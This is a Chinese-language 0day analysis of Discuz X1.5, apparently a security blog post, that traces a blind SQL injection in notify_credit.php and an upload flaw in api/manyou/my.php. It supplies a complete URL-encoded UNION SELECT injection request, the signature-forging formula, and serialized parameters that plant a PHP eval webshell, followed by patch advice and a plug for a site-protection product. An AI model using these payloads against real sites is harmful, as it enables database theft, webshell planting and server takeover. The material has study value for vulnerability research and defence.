Discuz X1.5 0Day研究报告

Discuz X1.5  0Day研究报告

Discuz X1.5最近被爆出0Day,利用该0Day可以直接获取WebShell,危害等级高,获取服务器的管理权限;下面我们一起来看看漏洞成因。api/trade/notify_credit.php27行处,程序将$notifydata[‘order_no’]直接赋给$orderid,并带入到数据库查询;

接着往上看,$notifydata是如何产生的,发现如下:

$notifydata 是由函数trade_notifycheck函数返回的数组变量,在api/trade/api_tenpay.php432行,

 

正常情况下,Discuz对用户传入的变量都有进行转义处理,但在api_tenpay.php中,却是重新获取$_GET,$_POST变量来进行处理,而且没有进行任何过滤处理,

显然在上面的参数获取和传递过程中,没有对变量进行任何过滤,因此攻击者可以通过对mch_vno变量进行恶意构造,从而控制$orderid,最后导致在数据库查询处产生注入漏洞。

下面来进行有效的恶意攻击代码构造:

    由于Discuz对提交的参数会有个校验值,因此我们需要重新计算自己的校验值:

$resHandler->isTenpaySign()

   为了让程序按照我们的流程执行,在这里我们需要对这几个变量赋值:

attach=tenpay        /*包含漏洞所在文件*/  

retcode=0           /*使$notifydata['validator']=1*/       

mch_vno=$sql_exp   /*恶意构造,直接带入数据库查询的语句*/

    因此我们自己构造的校验值计算如下:

sign= md5(“key=&attach=tenpay&mch_vno=$sql_exp&retcode=0”),

由于该注入过程中没有显错信息,只能利用盲注来进行密码的猜解,为了达到更好地演示效果,我们这里将最终带入数据库的SQL语句显示出来,在source/class/class_core.php663行中,进行如下修改:

构造的Sql_Exp

api/trade/notify_credit.php?attach=tenpay&retcode=0&mch_vno=%2527%2Band%2B%25271%2527%253D%25272%2527%2BUNION%2BSELECT%2B0%252C1%252C0%252C0%252C0%252C0%252C0%252C0%252C0%252C0%2BFROM%2Bpre_common_member_field_home%2BWHERE%2Buid%253D1%2BAND%2B%2527%2527%253D%2527&sign=233afe848a5d4b994871dad94901fd4e

在本地演示的效果如下:

 

显然我们已经成功的控制参数mch_vno,并能产生明显的SQL注入攻击。

下面我们来看看/api/manyou/my.php的上传漏洞:

 

my.php中,首选创建一个继承Manyou的类My,然后创建一个My的实例,接着调用Manyou父类的run()函数,我们跟进run()函数查看:

 

run()函数中,程序会调用_processServerRequest()对提交的参数进行处理,而该函数会获取客户端POST提交的参数,根据提交的参数获取相应的扩展接口,

 

 

而在my.php文件中的onVideoAuthAuth的函数中,由于没有对文件的扩展名进行判断,因此我们可以直接构造php一句话,利用该函数写入一句话木马,因此这样我们需要提交的参数构造如下:

构造的Upload_Exp:

$module = video;

$method = authauth;

$params=array(0=>1,1=>base64_encode(<?php eval($_POST[cmd]);?>),2=>php);

$params=serialize($params);

 

但是由于上传成功后,Discuz并不会返回shell的文件名的和路径,因此需要借助注入漏洞来猜解文件的路径,因此上传漏洞的成功利用还需要借助注入的辅助。

安全建议:

    下载官方补丁或下载最新的Discuz版本程序使用;

    直接用网站保护系统,可以无需补丁。

    对于没有第一时间打上补丁的网站,很容易成为黑客的攻击目标,从而导致网站被入侵或数据被删除,或者沦为黑客的肉鸡;笔者有幸拿到了Nevel网站保护系统的邀请码,对于加入Nevel保护的网站,则完全不用担心这些问题,因为当攻击者尝试提交这些恶意代码的时候,Nevel会检测到这些攻击代码,当检测到这些代码的时候直接将这些数据丢弃,并不会传到你的服务器进行响应,也就不会产生安全,更不会被入侵;下面是对加入Nevel保护的网站进行攻击的效果图,如下图:

打开微信“扫一扫”,打开网页后点击屏幕右上角分享按钮